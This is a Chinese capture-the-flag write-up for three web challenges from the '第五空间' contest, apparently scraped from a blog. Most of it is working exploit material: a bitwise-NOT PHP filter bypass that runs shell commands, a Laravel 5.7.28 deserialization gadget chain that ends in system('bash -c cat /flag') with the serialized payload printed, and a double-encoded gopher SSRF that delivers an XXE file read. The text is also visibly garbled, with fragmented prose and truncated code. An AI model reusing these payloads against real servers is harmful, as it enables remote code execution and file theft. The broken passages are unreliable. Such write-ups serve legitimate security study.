“第五空间”智能安全大赛-Web-writeup
2021-01-28 23:15
标签:无语 call() file upload ali 自动调用 全局 php源码 load 源码: 可以看到过滤了一些单个字符和所有的php内置函数 构造一下: 在 只能另辟蹊径,找到这篇文章:2018护网杯easy_laravel getshell 但是析构函数多的是,这个没了换一个就是了,主要是之前没法调用 继续跟进: 在277行发现魔术方法 我们知道当调用一个不存在的方法时会自动调用 接下来寻找合适的类完成它的触发: 我们还知道,当 payload: 反序列化点直接全局搜索 这题很让人无语 读完源码,可以知道前两个 就是一个简单的无过滤的xxe,需要post传值,并且只能本地访问 由于gopher可以构造各种HTTP请求包,所以gopher在SSRF漏洞利用中充当万金油的角色 几个注意点: 实际测试以及阅读文章中发现gopher存在以下几点问题 GET的HTTP包: 构造后: 必须的头部: POST的HTTP包: 构造后: 然后来看本题: 二次编码后:(记得换行符替换) payload: 到这里根据提示读main.php和hints.php: 构造好pop链会发现 槽点1: 那就不需要到xxe.php去用gopher协议打xxe读flag.php,因为两个地方都是要url编码绕过关键词 如果预期是main.php绕过ob_start()进行输出,那我等一手wp,看完了再来复现 参考:Gopher协议在SSRF漏洞中的深入研究 “第五空间”智能安全大赛-Web-writeup 标签:无语 call() file upload ali 自动调用 全局 php源码 load 原文地址:https://www.cnblogs.com/clqnotes/p/5spacectf-web-writeup.htmlhate-php
只要绕过正则匹配就好
可以用异或或者取反构造shell,这里用取反:";
echo urlencode(~"cat *");
//echo ~(urldecode("%8D%9A%9E%9B%99%96%93%9A"));
?>
http://121.36.74.163/?code=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%D5))
laravel
确定版本:
vendor\laravel\framework\src\Illuminate\Foundation\Application.php
32行看到5.7.28版本,这个版本存在反序列化漏洞
然后利用搜索引擎找到了一堆复现
但是一跟进,发现PendingCommand.php
中析构函数删掉了掉用run()
寻找可用poc链
继续尝试跟进,看能不能利用这个链,发现vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php
里的析构函数也被ban了:(嘤嘤嘤)run()
执行命令,看下这个链里的Generator
类相关的执行命令函数且有没有被ban:
在vendor/fzaninotto/faker/src/Faker/Generator.php
里,发现function format($formatter, $arguments = array())
调用了call_user_func_array()
,如果它的输入能被控制,就能执行命令
Generator.php源码:providers, $provider);
}
public function getProviders()
{
return $this->providers;
}
public function seed($seed = null)
{
if ($seed === null) {
mt_srand();
} else {
if (PHP_VERSION_ID getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);
return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf(‘Unknown formatter "%s"‘, $formatter));
}
public function parse($string)
{
return preg_replace_callback(‘/\{\{\s?(\w+)\s?\}\}/u‘, array($this, ‘callFormatWithMatches‘), $string);
}
protected function callFormatWithMatches($matches)
{
return $this->format($matches[1]);
}
public function __get($attribute)
{
return $this->format($attribute);
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
__call()
调用了format()
__call()
,并且这里__call()
调用了format()
且参数可控,就可以执行命令了
在vendor/symfony/routing/Loader/Configurator/ImportConfigurator.php
中找到合适的析构函数:
源码:parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
final public function prefix($prefix, bool $trailingSlashOnRoot = true)
{
if (!\is_array($prefix)) {
$this->route->addPrefix($prefix);
if (!$trailingSlashOnRoot) {
$rootPath = (new Route(trim(trim($prefix), ‘/‘).‘/‘))->getPath();
foreach ($this->route->all() as $route) {
if ($route->getPath() === $rootPath) {
$route->setPath(rtrim($rootPath, ‘/‘));
}
}
}
} else {
foreach ($prefix as $locale => $localePrefix) {
$prefix[$locale] = trim(trim($localePrefix), ‘/‘);
}
foreach ($this->route->all() as $name => $route) {
if (null === $locale = $route->getDefault(‘_locale‘)) {
$this->route->remove($name);
foreach ($prefix as $locale => $localePrefix) {
$localizedRoute = clone $route;
$localizedRoute->setDefault(‘_locale‘, $locale);
$localizedRoute->setDefault(‘_canonical_route‘, $name);
$localizedRoute->setPath($localePrefix.(!$trailingSlashOnRoot && ‘/‘ === $route->getPath() ? ‘‘ : $route->getPath()));
$this->route->add($name.‘.‘.$locale, $localizedRoute);
}
} elseif (!isset($prefix[$locale])) {
throw new \InvalidArgumentException(sprintf(‘Route "%s" with locale "%s" is missing a corresponding prefix in its parent collection.‘, $name, $locale));
} else {
$route->setPath($prefix[$locale].(!$trailingSlashOnRoot && ‘/‘ === $route->getPath() ? ‘‘ : $route->getPath()));
$this->route->add($name, $route);
}
}
}
return $this;
}
final public function namePrefix(string $namePrefix)
{
$this->route->addNamePrefix($namePrefix);
return $this;
}
}
这里析构函数调用了addCollection
方法pop链构造
__destruct
销毁对象的时候会自动调用该方法,而调用一个不存在的方法时会自动调用__call()
,所以现在pop链就清楚了,先创建一个Generator
实例,然后将其赋值给ImportConfigurator
的$parent
。当ImportConfigurator
自动销毁时会调用Generator
的addCollection
方法,但是addCollection
方法在Generator
中不存在,所以自动调用Generator
中的__call()
方法,而__call()
方法调用了format
方法,format
里面的两个参数都可控,这样就可以RCE了。
poc:parent = $parent;
$this->route = $route;
}
public function __destruct()
{
$this->parent->addCollection($this->route);
}
}
}
namespace Faker{
class Generator
{
protected $formatters;
function __construct($forma){
$this->formatters = $forma;
}
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
}
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}
}
}
namespace{
$fs = array("addCollection"=>"system");
$gen = new Faker\Generator($fs);
$pb = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($gen,"bash -c ‘cat /flag‘");
echo(urlencode(serialize($pb)));
}
O%3A64%3A%22Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%22%3A2%3A%7Bs%3A72%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00parent%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A13%3A%22addCollection%22%3Bs%3A6%3A%22system%22%3B%7D%7Ds%3A71%3A%22%00Symfony%5CComponent%5CRouting%5CLoader%5CConfigurator%5CImportConfigurator%00route%22%3Bs%3A19%3A%22bash+-c+%27cat+%2Fflag%27%22%3B%7D
unserialize
,发现/index
路由:GET
传值参数为p,拿到flagdo you know
index.php:$value)
{
$url=$value;
}
$ch = curl_init();
if ($type != ‘file‘) {
#add_debug_log($param, ‘post_data‘);
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 30);
} else {
// 设置超时
curl_setopt($ch, CURLOPT_TIMEOUT, 180);
}
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
// 设置header
if ($type == ‘file‘) {
$header[] = "content-type: multipart/form-data; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
} elseif ($type == ‘xml‘) {
curl_setopt($ch, CURLOPT_HEADER, false);
} elseif ($has_json) {
$header[] = "content-type: application/json; charset=UTF-8";
curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
}
// curl_setopt($ch, CURLOPT_USERAGENT, ‘Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)‘);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_AUTOREFERER, 1);
// dump($param);
curl_setopt($ch, CURLOPT_POSTFIELDS, $param);
// 要求结果为字符串且输出到屏幕上
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// 使用证书:cert 与 key 分别属于两个.pem文件
$res = curl_exec($ch);
var_dump($res);
QUERY_STRING
要键名不同值相同,然后会获取最后一个值作为url
,然后使用php的curl模块进行访问
看到提示xxe.php
先访问xxe.php,源码:loadXML($data, LIBXML_NOENT);
ob_start();
var_dump($dom);
$resp = ob_get_contents();
ob_end_clean();
}
?>
想到Gopher
协议
Gopher
的构造
基本协议格式:URL:gopher://
GET
GET /get.php?name=leon HTTP/1.1
Host: 127.0.0.1
gopher://127.0.0.1:80/_GET%20/get.php%3fname=leon%20HTTP/1.1%0d%0AHost:%20127.0.0.1%0d%0A
POST
POST /post.php HTTP/1.1
host:127.0.0.1
Content-Type:application/x-www-form-urlencoded
Content-Length:9
name=leon
gopher://127.0.0.1:80/_POST%20/post.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:9%0d%0A%0d%0Aname=leon%0d%0A
需要用gopher协议向xxe.php
postxxepayload
测试过程中发现,直接向http://121.36.64.91/?a=leon&b=leon&c=http://127.0.0.1/xxe.php
postpayload
时抓包:
可以发现data
是被urlencode过的,所以gopher构造时,data
也应该是urlencode过的,因为这里是打ssrf,浏览器会解码一次,curl会再解码一次,所以需要构造的gopher数据进行二次编码:
构造的gopher:POST /xxe.php HTTP/1.1
Host: 121.36.64.91
Content-Type: application/x-www-form-urlencoded
Content-Length: 225
Upgrade-Insecure-Requests: 1
data=%3C%3Fxml%20version%20%3D%20%221.0%22%3F%3E%0A%3C!DOCTYPE%20ANY%20%5B%0A%20%20%20%20%3C!ENTITY%20f%20SYSTEM%20%22php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3Dhints.php%22%3E%0A%5D%3E%0A%3Cx%3E%26f%3B%3C%2Fx%3E
POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A
http://121.36.64.91/?a=leon&b=leon&c=gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2fxxe.php%2520HTTP%2f1.1%250D%250AHost%253A%2520121.36.64.91%250D%250AContent-Type%253A%2520application%2fx-www-form-urlencoded%250D%250AContent-Length%253A%2520225%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250A%250D%250Adata%253D%25253C%25253Fxml%252520version%252520%25253D%252520%2525221.0%252522%25253F%25253E%25250A%25253C%2521DOCTYPE%252520ANY%252520%25255B%25250A%252520%252520%252520%252520%25253C%2521ENTITY%252520f%252520SYSTEM%252520%252522php%25253A%25252F%25252Ffilter%25252Fconvert.base64-encode%25252Fresource%25253Dhints.php%252522%25253E%25250A%25255D%25253E%25250A%25253Cx%25253E%252526f%25253B%25253C%25252Fx%25253E%250D%250A
object;
$m = $this->method;
$v = $this->variable;
$o->$m();
global $$v;
$answer = file_get_contents(‘flag.php‘);
ob_end_clean();
}
}
class B
{
function read()
{
ob_start();
global $answer;
echo $answer;
}
}
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die(‘show me your identify‘);
}
if (isset($_GET[‘?‘])) {
unserialize($_GET[‘?‘])->CaptureTheFlag();
} else {
die(‘you do not pass the misc‘);
}
ob_start()
开启了,所以无法输出$_GET[‘?‘]
乍一看啥都没有,直接复制丢进url栏一看,发现是不可见字符%E2%80%AC
,然后hints.php起初不知道是用来干嘛的,反序列化搞完了发现ob_start()
开启了无法输出内容,还以为hints.php是用来提示什么,后来caoyi小哥哥提示我两个数md5不同我才发现原来是用来提示%E2%80%AC
的。。。。???
槽点2:到现在做完了还不知道预期到底是啥,如果预期是利用$poc=$_SERVER[‘QUERY_STRING‘];
的特性,将flag
等被过滤的关键词用url编码绕过,那么直接在index.php用file协议就可以读到flag.php:http://121.36.64.91/?a=leon&b=leon&leon=%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%66%6c%61%67%2e%70%68%70
上一篇:掌握HTTP原理
文章标题:“第五空间”智能安全大赛-Web-writeup
文章链接:http://soscw.com/index.php/essay/48440.html